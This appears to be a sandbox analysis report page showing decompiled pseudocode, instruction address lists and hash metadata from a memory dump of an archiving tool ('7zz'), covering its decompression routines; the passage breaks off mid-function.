														 *(_t444 + 0x68) = _t260;
														 *(_t444 + 0x6c) = _t406;
														asm("cdq");
														asm("adc edx, ecx");
														 *((intOrPtr*)(_t444 + 0x80)) =  *(_t444 + 0x1c) -  *((intOrPtr*)(_t444 + 0x24)) +  *((intOrPtr*)(_t444 + 0x2c));
														_t264 =  *(_t444 + 0xc4);
														 *(_t444 + 0x84) = _t406;
														_t432 =  *((intOrPtr*)( *_t264 + 0xc))(_t264, _t444 + 0x84, _t444 + 0x88);
														__eflags = _t432;
														if(_t432 != 0) {
															 *(_t444 + 0xac) = 0xe;
															E0040EEB2(_t444 + 0x40);
															_t267 =  *(_t444 + 0x54);
															 *(_t444 + 0xac) = 0;
															__eflags = _t267;
															if(_t267 != 0) {
																 *((intOrPtr*)( *_t267 + 8))(_t267);
															}
															 *(_t444 + 0xac) = 0xf;
															L74:
															E0040DFD3(_t444 + 0x1c);
															_t247 =  *(_t444 + 0x28);
															 *(_t444 + 0xac) = 0xffffffff;
															__eflags = _t247;
															if(_t247 != 0) {
																 *((intOrPtr*)( *_t247 + 8))(_t247);
															}
															_t228 = _t432;
															goto L86;
														}
														goto L50;
													}
													__eflags = _t349 - 0x40000;
													if(_t349 < 0x40000) {
														goto L50;
													}
													goto L49;
												} else {
													goto L41;
												}
												do {
													L41:
													__eflags = _t259 -  *((intOrPtr*)(_t444 + 0x20));
													if(_t259 <  *((intOrPtr*)(_t444 + 0x20))) {
														goto L44;
													}
													_t269 = E0040E007(_t444 + 0x1c, _t421);
													__eflags = _t269;
													if(_t269 == 0) {
														goto L46;
													}
													_t259 =  *(_t444 + 0x1c);
													L44:
													_t355 =  *_t259;
													_t259 = _t259 + 1;
													 *((char*)(_t444 + _t435 + 0x90)) = _t355;
													_t435 = _t435 + 1;
													__eflags = _t435 - _t307;
													 *(_t444 + 0x1c) = _t259;
												} while (_t435 < _t307);
												goto L45;
											}
											__eflags = _t307;
											if(_t307 > 0) {
												_t357 = _t307;
												_t436 = _t259;
												_t358 = _t357 >> 2;
												memcpy(_t444 + 0x90, _t436, _t358 << 2);
												_t361 = _t357 & 0x00000003;
												__eflags = _t361;
												_t259 = memcpy(_t436 + _t358 + _t358, _t436, _t361);
												_t444 = _t444 + 0x18;
											}
											 *(_t444 + 0x1c) = _t259 + _t307;
											goto L45;
											L50:
											 *(_t444 + 0x78) = 1 << _t307;
											_t332 = _t421 & 0x00000007;
											_t421 = _t421 + _t307;
											_t242 =  *(_t444 + 0x78) - 0x00000001 & 0 << 0x00000008 >> _t332;
											__eflags = _t421 -  *(_t444 + 0x14);
											 *(_t444 + 0x3c) = _t242;
											if(_t421 >  *(_t444 + 0x14)) {
												_t432 = E0040EFA1(_t444 + 0x40);
												 *(_t444 + 0xac) = 0x12;
												E0040EEB2(_t444 + 0x40);
												_t245 =  *(_t444 + 0x54);
												 *(_t444 + 0xac) = 0;
												__eflags = _t245;
												if(_t245 != 0) {
													 *((intOrPtr*)( *_t245 + 8))(_t245);
												}
												 *(_t444 + 0xac) = 0x13;
												goto L74;
											}
											__eflags = _t242 -  *(_t444 + 0x18);
											if(_t242 >=  *(_t444 + 0x18)) {
												 *(_t444 + 0xac) = 0x10;
												E0040EEB2(_t444 + 0x40);
												_t251 =  *(_t444 + 0x54);
												 *(_t444 + 0xac) = 0;
												__eflags = _t251;
												if(_t251 != 0) {
													 *((intOrPtr*)( *_t251 + 8))(_t251);
												}
												 *(_t444 + 0xac) = 0x11;
												E0040DFD3(_t444 + 0x1c);
												_t227 =  *(_t444 + 0x28);
												 *(_t444 + 0xac) = 0xffffffff;
												__eflags = _t227;
												if(_t227 == 0) {
													goto L85;
												} else {
													goto L84;
												}
											}
											__eflags =  *(_t444 + 0x13);
											if( *(_t444 + 0x13) == 0) {
												L56:
												_t254 =  *(_t444 + 0x3c);
												_t433 = 0;
												__eflags = _t254 - 0x100;
												if(_t254 < 0x100) {
													L58:
													 *(_t433 +  *(_t441 + 0x14)) = _t254;
													_t434 = _t433 + 1;
													__eflags =  *(_t444 + 0x12);
													if( *(_t444 + 0x12) != 0) {
														_t366 =  *(_t444 + 0x18);
														 *(_t366 +  *((intOrPtr*)(_t441 + 0x10)) - 1) = _t254;
														__eflags =  *(_t444 + 0x3c) - _t366 - 1;
														if( *(_t444 + 0x3c) == _t366 - 1) {
															 *( *(_t441 + 0x14)) = _t254;
														}
													}
													do {
														_t434 = _t434 - 1;
														 *((char*)( *((intOrPtr*)(_t444 + 0x44)) +  *((intOrPtr*)(_t444 + 0x40)))) =  *((intOrPtr*)( *(_t441 + 0x14) + _t434));
														_t257 =  *((intOrPtr*)(_t444 + 0x44)) + 1;
														__eflags = _t257 -  *((intOrPtr*)(_t444 + 0x48));
														 *((intOrPtr*)(_t444 + 0x44)) = _t257;
														if(__eflags == 0) {
															E0040EFBD(_t444 + 0x40, __eflags);
														}
														__eflags = _t434;
													} while (_t434 > 0);
													_t258 =  *(_t444 + 0x18);
													__eflags = _t258 -  *(_t444 + 0x70);
													if(_t258 >=  *(_t444 + 0x70)) {
														L55:
														 *(_t444 + 0x12) = 0;
														while(1) {
															__eflags =  *(_t444 + 0x14) - _t421;
															if( *(_t444 + 0x14) != _t421) {
																goto L50;
															}
															goto L36;
														}
													}
													 *(_t444 + 0x12) = 1;
													 *((short*)( *((intOrPtr*)(_t441 + 0xc)) + _t258 * 2)) =  *(_t444 + 0x3c);
													_t272 = _t258 + 1;
													__eflags = _t272 -  *(_t444 + 0x78);
													 *(_t444 + 0x18) = _t272;
													if(_t272 >  *(_t444 + 0x78)) {
														__eflags = _t307 -  *(_t444 + 0x74);
														if(_t307 <  *(_t444 + 0x74)) {
															_t421 = 0;
															_t307 = _t307 + 1;
															 *(_t444 + 0x14) = 0;
														}
													}
													continue;
												} else {
													goto L57;
												}
												do {
													L57:
													_t433 = _t433 + 1;
													 *((char*)(_t433 +  *(_t441 + 0x14) - 1)) =  *((intOrPtr*)(_t254 +  *((intOrPtr*)(_t441 + 0x10))));
													_t254 = 0;
													__eflags = 0 - 0x100;
												} while (0 >= 0x100);
												goto L58;
											}
											__eflags = _t242 - 0x100;
											if(_t242 != 0x100) {
												goto L56;
											}
											_t421 = 0;
											__eflags = 0;
											_t307 = 9;
											 *(_t444 + 0x14) = 0;
											 *(_t444 + 0x18) = 0x101;
											goto L55;
										}
									}
									 *(_t444 + 0xac) = 0xc;
									E0040EEB2(_t444 + 0x40);
									_t275 =  *(_t444 + 0x54);
									 *(_t444 + 0xac) = 0;
									__eflags = _t275 - _t421;
									if(_t275 != _t421) {
										 *((intOrPtr*)( *_t275 + 8))(_t275);
									}
									 *(_t444 + 0xac) = 0xd;
									E0040DFD3(_t444 + 0x1c);
									_t277 =  *(_t444 + 0x28);
									 *(_t444 + 0xac) = 0xffffffff;
									__eflags = _t277 - _t421;
									if(_t277 != _t421) {
										 *((intOrPtr*)( *_t277 + 8))(_t277);
									}
									L32:
									_t228 = 0x8007000e;
									goto L86;
								}
								 *(_t444 + 0xac) = 0xa;
								E0040EEB2(_t444 + 0x40);
								_t281 =  *(_t444 + 0x54);
								 *(_t444 + 0xac) = 0;
								__eflags = _t281 - _t421;
								if(_t281 != _t421) {
									 *((intOrPtr*)( *_t281 + 8))(_t281);
								}
								 *(_t444 + 0xac) = 0xb;
								E0040DFD3(_t444 + 0x1c);
								_t283 =  *(_t444 + 0x28);
								 *(_t444 + 0xac) = 0xffffffff;
								__eflags = _t283 - _t421;
								if(_t283 == _t421) {
									goto L32;
								} else {
									 *((intOrPtr*)( *_t283 + 8))(_t283);
									_t228 = 0x8007000e;
									goto L86;
								}
							}
							 *(_t444 + 0xac) = 8;
							E0040EEB2(_t444 + 0x40);
							_t287 =  *(_t444 + 0x54);
							 *(_t444 + 0xac) = 0;
							__eflags = _t287 - _t421;
							if(_t287 != _t421) {
								 *((intOrPtr*)( *_t287 + 8))(_t287);
							}
							 *(_t444 + 0xac) = 9;
							E0040DFD3(_t444 + 0x1c);
							_t289 =  *(_t444 + 0x28);
							 *(_t444 + 0xac) = 0xffffffff;
							__eflags = _t289 - _t421;
							if(_t289 == _t421) {
								goto L32;
							} else {
								 *((intOrPtr*)( *_t289 + 8))(_t289);
								_t228 = 0x8007000e;
								goto L86;
							}
						}
						__eflags =  *(__ecx + 0xc);
						if( *(__ecx + 0xc) == 0) {
							goto L17;
						}
						__eflags =  *(__ecx + 0x10);
						if( *(__ecx + 0x10) == 0) {
							goto L17;
						}
						__eflags =  *(__ecx + 0x14);
						if( *(__ecx + 0x14) != 0) {
							goto L34;
						}
						goto L17;
					} else {
						 *(_t444 + 0xac) = 4;
						E0040EEB2(_t444 + 0x40);
						_t293 =  *(_t444 + 0x54);
						 *(_t444 + 0xac) = 0;
						__eflags = _t293;
						if(_t293 != 0) {
							 *((intOrPtr*)( *_t293 + 8))(_t293);
						}
						 *(_t444 + 0xac) = 5;
						E0040DFD3(_t444 + 0x1c);
						_t295 =  *(_t444 + 0x28);
						 *(_t444 + 0xac) = 0xffffffff;
						__eflags = _t295 - _t421;
						if(_t295 != _t421) {
							 *((intOrPtr*)( *_t295 + 8))(_t295);
						}
						goto L10;
					}
				} else {
					 *(_t444 + 0xac) = 2;
					E0040EEB2(_t444 + 0x40);
					_t299 =  *(_t444 + 0x54);
					 *(_t444 + 0xac) = 0;
					if(_t299 != 0) {
						 *((intOrPtr*)( *_t299 + 8))(_t299);
					}
					 *(_t444 + 0xac) = 3;
					E0040DFD3(_t444 + 0x1c);
					_t301 =  *(_t444 + 0x28);
					 *(_t444 + 0xac) = 0xffffffff;
					if(_t301 == _t421) {
						L10:
						_t228 = 0x8007000e;
						goto L86;
					} else {
						 *((intOrPtr*)( *_t301 + 8))(_t301);
						_t228 = 0x8007000e;
						L86:
						 *[fs:0x0] =  *((intOrPtr*)(_t444 + 0xa4));
						return _t228;
					}
				}
			}

0x00454b10
0x00454b12
0x00454b1d
0x00454b1e
0x00454b25
0x00454b2d
0x00454b35
0x00454b3a
0x00454b3c
0x00454b43
0x00454b47
0x00454b4b
0x00454b4f
0x00454b5c
0x00454b6b
0x00454bdb
0x00454be4
0x00454bf2
0x00454bf7
0x00454bf9
0x00454c65
0x00454c6e
0x00454c73
0x00454c78
0x00454c7b
0x00454c7d
0x00454c80
0x00454c84
0x0045519c
0x004551a0
0x004551a8
0x004551ad
0x004551b1
0x004551b9
0x004551bb
0x004551c0
0x004551c0
0x004551c7
0x004551d2
0x004551d7
0x004551db
0x004551e6
0x004551e8
0x004551f0
0x004551f0
0x00000000
0x004551ea
0x004551ea
0x004551ed
0x00000000
0x004551ed
0x004551e8
0x00454c8a
0x00454c8d
0x00000000
0x00000000
0x00454c9b
0x00454c9d
0x00454ca4
0x00454ca6
0x00454caa
0x00454cbf
0x00454cc1
0x00454cc9
0x00454cce
0x00454cd0
0x00454cd3
0x00454d39
0x00454d3e
0x00454d40
0x00454d43
0x00454da5
0x00454daa
0x00454dac
0x00454daf
0x00454e0f
0x00454e12
0x00454e1b
0x00454e1f
0x00454e24
0x00454e2e
0x00454e2e
0x00454e34
0x00454e38
0x00454e3d
0x00454e41
0x00454e46
0x00454e4a
0x00454e51
0x00454e51
0x00454e55
0x00000000
0x00000000
0x00454e5b
0x00454e5f
0x00454e65
0x00454e67
0x00454e8e
0x00454e90
0x00454e92
0x00454ebe
0x00454ebe
0x00454ec0
0x00454ec0
0x00454ecb
0x00454ecf
0x00454ed1
0x00454edd
0x00454ee4
0x00454ee6
0x00454eed
0x00000000
0x00000000
0x00454ef5
0x00454ef5
0x00454ef9
0x00454efd
0x00454f01
0x00454f0b
0x00454f13
0x00454f21
0x00454f25
0x00454f28
0x00454f2a
0x00454f31
0x00454f38
0x00454f55
0x00454f57
0x00454f59
0x004550b6
0x004550be
0x004550c3
0x004550c7
0x004550cf
0x004550d1
0x004550d6
0x004550d6
0x004550d9
0x00455123
0x00455127
0x0045512c
0x00455130
0x0045513b
0x0045513d
0x00455142
0x00455142
0x00455145
0x00000000
0x00455145
0x00000000
0x00454f59
0x00454f03
0x00454f09
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00454e94
0x00454e94
0x00454e94
0x00454e98
0x00000000
0x00000000
0x00454e9e
0x00454ea3
0x00454ea5
0x00000000
0x00000000
0x00454ea7
0x00454eab
0x00454eab
0x00454ead
0x00454eae
0x00454eb5
0x00454eb6
0x00454eb8
0x00454eb8
0x00000000
0x00454e94
0x00454e69
0x00454e6b
0x00454e6d
0x00454e6f
0x00454e7a
0x00454e7d
0x00454e81
0x00454e81
0x00454e84
0x00454e84
0x00454e84
0x00454e88
0x00000000
0x00454f5f
0x00454f76
0x00454f95
0x00454f98
0x00454fa1
0x00454fa3
0x00454fa5
0x00454fa9
0x004550ef
0x004550f5
0x004550fd
0x00455102
0x00455106
0x0045510e
0x00455110
0x00455115
0x00455115
0x00455118
0x00000000
0x00455118
0x00454faf
0x00454fb3
0x00455150
0x00455158
0x0045515d
0x00455161
0x00455169
0x0045516b
0x00455170
0x00455170
0x00455177
0x00455182
0x00455187
0x0045518b
0x00455196
0x00455198
0x00000000
0x0045519a
0x00000000
0x0045519a
0x00455198
0x00454fbd
0x00454fbf
0x00454fe5
0x00454fe5
0x00454fe9
0x00454feb
0x00454ff0
0x00455012
0x00455019
0x0045501c
0x0045501d
0x0045501f
0x00455024
0x00455028
0x00455031
0x00455033
0x00455038
0x00455038
0x00455033
0x0045503a
0x00455041
0x00455049
0x00455054
0x00455055
0x00455057
0x0045505b
0x00455061
0x00455061
0x00455066
0x00455066
0x0045506a
0x00455072
0x00455074
0x00454fdb
0x00454fdb
0x00454e51
0x00454e51
0x00454e55
0x00000000
0x00000000
0x00000000
0x00454e55
0x00454e51
0x00455082
0x00455087
0x0045508f
0x00455090
0x00455092
0x00455096
0x0045509c
0x004550a0
0x004550a6
0x004550a8
0x004550a9
0x004550a9
0x004550a0
0x00000000
0x00000000
0x00000000
0x00000000
0x00454ff2
0x00454ff2
0x00454ff8
0x00454ffc
0x00455009
0x0045500b
0x0045500b
0x00000000
0x00454ff2
0x00454fc1
0x00454fc6
0x00000000
0x00000000
0x00454fc8
0x00454fc8
0x00454fca
0x00454fcf
0x00454fd3
0x00000000
0x00454fd3
0x00454e51
0x00454db5
0x00454dbd
0x00454dc2
0x00454dc6
0x00454dce
0x00454dd0
0x00454dd5
0x00454dd5
0x00454ddc
0x00454de7
0x00454dec
0x00454df0
0x00454dfb
0x00454dfd
0x00454e02
0x00454e02
0x00454e05
0x00454e05
0x00000000
0x00454e05
0x00454d49
0x00454d51
0x00454d56
0x00454d5a
0x00454d62
0x00454d64
0x00454d69
0x00454d69
0x00454d70
0x00454d7b
0x00454d80
0x00454d84
0x00454d8f
0x00454d91
0x00000000
0x00454d93
0x00454d96
0x00454d99
0x00000000
0x00454d99
0x00454d91
0x00454cd9
0x00454ce1
0x00454ce6
0x00454cea
0x00454cf2
0x00454cf4
0x00454cf9
0x00454cf9
0x00454d00
0x00454d0b
0x00454d10
0x00454d14
0x00454d1f
0x00454d21
0x00000000
0x00454d27
0x00454d2a
0x00454d2d
0x00000000
0x00454d2d
0x00454d21
0x00454cac
0x00454caf
0x00000000
0x00000000
0x00454cb1
0x00454cb4
0x00000000
0x00000000
0x00454cb6
0x00454cb9
0x00000000
0x00000000
0x00000000
0x00454bfb
0x00454bff
0x00454c07
0x00454c0c
0x00454c10
0x00454c18
0x00454c1a
0x00454c1f
0x00454c1f
0x00454c26
0x00454c31
0x00454c36
0x00454c3a
0x00454c45
0x00454c47
0x00454c4c
0x00454c4c
0x00000000
0x00454c47
0x00454b6d
0x00454b71
0x00454b79
0x00454b7e
0x00454b82
0x00454b8c
0x00454b91
0x00454b91
0x00454b98
0x00454ba3
0x00454ba8
0x00454bac
0x00454bb9
0x00454c4f
0x00454c4f
0x00000000
0x00454bbf
0x00454bc2
0x00454bc5
0x004551f5
0x00455200
0x0045520d
0x0045520d
0x00454bb9

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c3b520574d05f56df56403af9e8bc413c423cf886d632776319decb9a179020
Instruction ID: 6ebc25fde0dfe73e998ef2a13e85b2c570cd5fc6f02970fa413b5811a577ba22
Opcode Fuzzy Hash: 9c3b520574d05f56df56403af9e8bc413c423cf886d632776319decb9a179020
Instruction Fuzzy Hash: FE126C306083818FD724CF29C454BAFBBE1AFD5308F14891EE8D987392DA789849CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0044A7E0 Relevance: .5, Instructions: 453
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E0044A7E0(void* __ecx) {
				void* __edi;
				intOrPtr _t172;
				signed int _t174;
				unsigned int _t182;
				signed int _t185;
				signed char _t186;
				void* _t187;
				signed int _t193;
				signed int _t198;
				signed int _t201;
				signed int _t208;
				signed int _t209;
				signed int _t211;
				intOrPtr _t216;
				signed int _t218;
				signed int _t220;
				intOrPtr _t225;
				signed int _t227;
				signed int _t230;
				signed char _t232;
				signed char _t236;
				signed int _t240;
				signed int _t244;
				signed int _t249;
				intOrPtr _t258;
				intOrPtr _t263;
				signed int _t267;
				signed int _t268;
				signed int _t274;
				intOrPtr* _t280;
				intOrPtr _t285;
				signed int _t288;
				void* _t289;
				intOrPtr* _t292;
				signed int _t305;
				void* _t310;
				signed int _t321;
				void* _t342;
				intOrPtr* _t345;
				signed int _t351;
				signed int _t356;
				unsigned int _t357;
				signed int _t359;
				signed int _t362;
				intOrPtr _t367;
				intOrPtr _t370;
				intOrPtr _t375;
				void* _t378;
				unsigned int _t379;
				intOrPtr* _t380;
				intOrPtr _t383;
				signed int _t385;
				intOrPtr* _t386;
				intOrPtr _t388;
				intOrPtr _t391;
				intOrPtr _t394;
				signed int _t395;
				signed int _t396;
				intOrPtr _t401;
				void* _t402;

				_t378 = __ecx;
				_t172 =  *((intOrPtr*)(__ecx + 0xd54));
				if(_t172 == 0xffffffff) {
					L82:
					__eflags = 0;
					return 0;
				} else {
					_t379 = 0;
					if(_t172 != 0xfffffffe) {
						L9:
						_t395 =  *(_t402 + 0x28);
						__eflags = _t395 - _t379;
						if(_t395 == _t379) {
							goto L82;
						} else {
							_t174 =  *(_t378 + 0xd54);
							__eflags = _t174 - _t379;
							if(_t174 <= _t379) {
								L18:
								__eflags = _t395 - _t379;
								if(_t395 <= _t379) {
									goto L82;
								} else {
									while(1) {
										__eflags =  *(_t378 + 0xd5c);
										if( *(_t378 + 0xd5c) == 0) {
											goto L23;
										}
										__eflags =  *(_t378 + 0xd48);
										if(__eflags != 0) {
											 *(_t378 + 0xd54) = 0xffffffff;
											__eflags = 0;
											return 0;
										} else {
											_t240 = E0044A440(_t378, __eflags);
											__eflags = _t240;
											if(_t240 == 0) {
												L80:
												return 1;
											} else {
												 *(_t378 + 0xd5c) = 0;
												goto L23;
											}
										}
										goto L83;
										L23:
										__eflags =  *(_t378 + 0xd49);
										if( *(_t378 + 0xd49) == 0) {
											while(1) {
												__eflags =  *(_t378 + 0x68) - 4;
												if( *(_t378 + 0x68) > 4) {
													goto L80;
												}
												_t380 = _t378 + 0x40;
												L0041F43D(_t380);
												_t258 =  *_t380;
												_t182 =  *(_t380 + 4) >> 0x00000008 - _t258 >> 0x00000009 & 0x00007fff;
												__eflags = _t182 -  *((intOrPtr*)(_t378 + 0x9c));
												if(_t182 >=  *((intOrPtr*)(_t378 + 0x9c))) {
													__eflags = _t182 -  *((intOrPtr*)(_t378 + 0xa0));
													_t280 = _t378 + 0xa0;
													_t351 = 0xa;
													if(_t182 >=  *((intOrPtr*)(_t378 + 0xa0))) {
														do {
															_t280 = _t280 + 4;
															_t351 = _t351 + 1;
															__eflags = _t182 -  *_t280;
														} while (_t182 >=  *_t280);
													}
												} else {
													_t351 =  *((intOrPtr*)((_t182 >> 6) + _t378 + 0x578));
												}
												 *_t380 = _t258 + _t351;
												 *(_t380 + 0x30) =  *(_t380 + 0x30) >> _t351;
												_t185 = (_t182 -  *((intOrPtr*)(_t378 + 0x74 + _t351 * 4)) >> 0xf - _t351) +  *((intOrPtr*)(_t378 + 0xb8 + _t351 * 4));
												__eflags = _t185 - 0x120;
												if(_t185 >= 0x120) {
													goto L80;
												} else {
													_t186 =  *(_t378 + 0xf8 + _t185 * 4);
													__eflags = _t186 - 0x100;
													if(__eflags >= 0) {
														if(__eflags == 0) {
															 *(_t378 + 0xd5c) = 1;
															goto L77;
														} else {
															__eflags = _t186 - 0x11e;
															if(_t186 >= 0x11e) {
																goto L80;
															} else {
																_t187 = _t186 - 0x101;
																__eflags =  *(_t378 + 0xd51);
																if( *(_t378 + 0xd51) == 0) {
																	__eflags = 0;
																	_t356 =  *((intOrPtr*)(_t187 + 0x47bfc0));
																	 *(_t402 + 0x10) = 0;
																} else {
																	_t356 =  *((intOrPtr*)(_t187 + 0x47bfe0));
																	 *(_t402 + 0x10) = 0;
																}
																_t396 = _t356;
																__eflags =  *_t380 - 8;
																if( *_t380 >= 8) {
																	do {
																		 *(_t402 + 0x18) = 0;
																		_t220 = E0044AD80(_t380 + 8, _t402 + 0x14);
																		__eflags = _t220;
																		if(_t220 == 0) {
																			 *(_t402 + 0x14) = 0xff;
																			_t227 =  *(_t380 + 0x28) + 1;
																			__eflags = _t227;
																			 *(_t380 + 0x28) = _t227;
																		}
																		_t370 =  *_t380;
																		 *(_t380 + 0x30) =  *(_t380 + 0x30) | ( *(_t402 + 0x14) & 0x000000ff) << 0x00000020 - _t370;
																		_t225 = _t370 - 8;
																		__eflags = _t225 - 8;
																		 *(_t380 + 4) =  *(_t380 + 4) << 8;
																		 *_t380 = _t225;
																	} while (_t225 >= 8);
																}
																_t357 =  *(_t380 + 0x30);
																 *_t380 =  *_t380 + _t396;
																_t112 = ((0x00000001 << _t396) - 0x00000001 & _t357) + 3; // 0x40003
																_t193 =  *(_t402 + 0x10) + _t112;
																_t305 =  *(_t402 + 0x28);
																__eflags = _t193 - _t305;
																 *(_t380 + 0x30) = _t357 >> _t396;
																 *(_t402 + 0x10) = _t193;
																 *(_t402 + 0x1c) = _t193;
																if(_t193 > _t305) {
																	 *(_t402 + 0x1c) = _t305;
																}
																L0041F43D(_t380);
																_t263 =  *_t380;
																_t198 =  *(_t380 + 4) >> 0x00000008 - _t263 >> 0x00000009 & 0x00007fff;
																__eflags = _t198 -  *((intOrPtr*)(_t378 + 0x79c));
																if(_t198 >=  *((intOrPtr*)(_t378 + 0x79c))) {
																	_t310 = _t378 + 0x7a0;
																	__eflags = _t198 -  *((intOrPtr*)(_t378 + 0x7a0));
																	_t359 = 0xa;
																	if(_t198 >=  *((intOrPtr*)(_t378 + 0x7a0))) {
																		do {
																			_t401 =  *((intOrPtr*)(_t310 + 4));
																			_t310 = _t310 + 4;
																			_t359 = _t359 + 1;
																			__eflags = _t198 - _t401;
																		} while (_t198 >= _t401);
																	}
																} else {
																	_t359 = 0;
																}
																 *_t380 = _t263 + _t359;
																 *(_t380 + 0x30) =  *(_t380 + 0x30) >> _t359;
																_t267 =  *(_t378 + 0x7b8 + _t359 * 4);
																_t201 = (_t198 -  *((intOrPtr*)(_t378 + 0x774 + _t359 * 4)) >> 0xf - _t359) + _t267;
																__eflags = _t201 - 0x20;
																if(_t201 < 0x20) {
																	_t268 =  *(_t378 + 0x7f8 + _t201 * 4);
																} else {
																	_t268 = _t267 | 0xffffffff;
																}
																 *(_t402 + 0x20) = _t268;
																__eflags = _t268 -  *((intOrPtr*)(_t378 + 0xd4c));
																if(_t268 >=  *((intOrPtr*)(_t378 + 0xd4c))) {
																	goto L80;
																} else {
																	__eflags =  *_t380 - 8;
																	if( *_t380 >= 8) {
																		do {
																			 *(_t402 + 0x1c) = 0;
																			_t211 = E0044AD80(_t380 + 8, _t402 + 0x18);
																			__eflags = _t211;
																			if(_t211 == 0) {
																				 *(_t402 + 0x18) = 0xff;
																				_t218 =  *(_t380 + 0x28) + 1;
																				__eflags = _t218;
																				 *(_t380 + 0x28) = _t218;
																			}
																			_t367 =  *_t380;
																			 *(_t380 + 0x30) =  *(_t380 + 0x30) | ( *(_t402 + 0x18) & 0x000000ff) << 0x00000020 - _t367;
																			_t216 = _t367 - 8;
																			__eflags = _t216 - 8;
																			 *(_t380 + 4) =  *(_t380 + 4) << 8;
																			 *_t380 = _t216;
																		} while (_t216 >= 8);
																		_t268 =  *(_t402 + 0x20);
																	}
																	_t362 =  *(_t380 + 0x30);
																	 *_t380 =  *_t380;
																	_push( *(_t402 + 0x1c));
																	 *(_t380 + 0x30) = _t362 >> 0;
																	_t388 =  *((intOrPtr*)(0x47c000 + _t268 * 4)) + (0xbadbac & _t362);
																	_push(_t388);
																	_t208 = E0044ADB0(_t378 + 0x18);
																	__eflags = _t208;
																	if(_t208 == 0) {
																		goto L80;
																	} else {
																		_t209 =  *(_t402 + 0x1c);
																		_t321 =  *(_t402 + 0x10) - _t209;
																		__eflags = _t321;
																		 *(_t402 + 0x28) =  *(_t402 + 0x28) - _t209;
																		 *(_t402 + 0x10) = _t321;
																		if(_t321 != 0) {
																			_t395 =  *(_t402 + 0x28);
																			 *(_t378 + 0xd54) =  *(_t402 + 0x10);
																			 *((intOrPtr*)(_t378 + 0xd58)) = _t388;
																			goto L77;
																		} else {
																			goto L73;
																		}
																	}
																}
															}
														}
													} else {
														_t342 = _t378 + 0x18;
														 *( *((intOrPtr*)(_t378 + 0x18)) +  *((intOrPtr*)(_t378 + 0x1c))) = _t186;
														_t391 =  *((intOrPtr*)(_t342 + 4)) + 1;
														 *((intOrPtr*)(_t342 + 4)) = _t391;
														__eflags = _t391 -  *((intOrPtr*)(_t342 + 8));
														if(__eflags == 0) {
															E0040EFBD(_t342, __eflags);
														}
														 *(_t402 + 0x28) = _t395 - 1;
														L73:
														_t395 =  *(_t402 + 0x28);
														__eflags = _t395;
														if(_t395 <= 0) {
															goto L82;
														} else {
															continue;
														}
													}
												}
												goto L83;
											}
											goto L80;
										} else {
											_t230 =  *(_t378 + 0xd44);
											__eflags = _t230;
											if(__eflags > 0) {
												while(1) {
													__eflags = _t395;
													if(_t395 <= 0) {
														break;
													}
													_t285 =  *((intOrPtr*)(_t378 + 0x40));
													__eflags = _t285 - 0x20;
													if(_t285 != 0x20) {
														_t232 =  *(_t378 + 0x70);
														 *((intOrPtr*)(_t378 + 0x40)) = _t285 + 8;
														_t288 =  *(_t378 + 0x70) >> 8;
														__eflags = _t288;
														 *(_t378 + 0x70) = _t288;
													} else {
														_t386 = _t378 + 0x48;
														__eflags =  *((intOrPtr*)(_t378 + 0x48)) -  *((intOrPtr*)(_t378 + 0x4c));
														if( *((intOrPtr*)(_t378 + 0x48)) <  *((intOrPtr*)(_t378 + 0x4c))) {
															L29:
															_t292 =  *_t386;
															_t232 =  *_t292;
															 *_t386 = _t292 + 1;
														} else {
															_t236 = E0040E007(_t386, _t378);
															__eflags = _t236;
															if(_t236 == 0) {
																_t232 = _t236 | 0x000000ff;
																 *(_t378 + 0x68) =  *(_t378 + 0x68) + 1;
															} else {
																goto L29;
															}
														}
													}
													_t289 = _t378 + 0x18;
													 *( *((intOrPtr*)(_t378 + 0x18)) +  *((intOrPtr*)(_t378 + 0x1c))) = _t232;
													_t383 =  *((intOrPtr*)(_t289 + 4)) + 1;
													 *((intOrPtr*)(_t289 + 4)) = _t383;
													__eflags = _t383 -  *((intOrPtr*)(_t289 + 8));
													if(__eflags == 0) {
														E0040EFBD(_t289, __eflags);
													}
													_t385 =  *(_t378 + 0xd44) - 1;
													_t395 = _t395 - 1;
													 *(_t378 + 0xd44) = _t385;
													__eflags = _t385;
													if(_t385 > 0) {
														continue;
													}
													break;
												}
												_t230 =  *(_t378 + 0xd44);
												 *(_t402 + 0x28) = _t395;
												__eflags = _t230;
											}
											 *(_t378 + 0xd5c) = _t230 & 0xffffff00 | __eflags == 0x00000000;
											L77:
											__eflags = _t395;
											if(_t395 <= 0) {
												goto L82;
											} else {
												continue;
											}
										}
										goto L83;
									}
								}
							} else {
								while(1) {
									__eflags = _t395 - _t379;
									if(_t395 <= _t379) {
										break;
									}
									_t345 = _t378 + 0x18;
									 *(_t378 + 0xd54) = _t174 - 1;
									_t375 =  *((intOrPtr*)(_t345 + 0x10));
									_t244 =  *((intOrPtr*)(_t345 + 4)) -  *((intOrPtr*)(_t378 + 0xd58)) - 1;
									__eflags = _t244 - _t375;
									if(_t244 >= _t375) {
										_t244 = _t244 + _t375;
										__eflags = _t244;
									}
									 *((char*)( *_t345 +  *((intOrPtr*)(_t345 + 4)))) =  *((intOrPtr*)( *_t345 + _t244));
									_t394 =  *((intOrPtr*)(_t345 + 4)) + 1;
									 *((intOrPtr*)(_t345 + 4)) = _t394;
									__eflags = _t394 -  *((intOrPtr*)(_t345 + 8));
									if(__eflags == 0) {
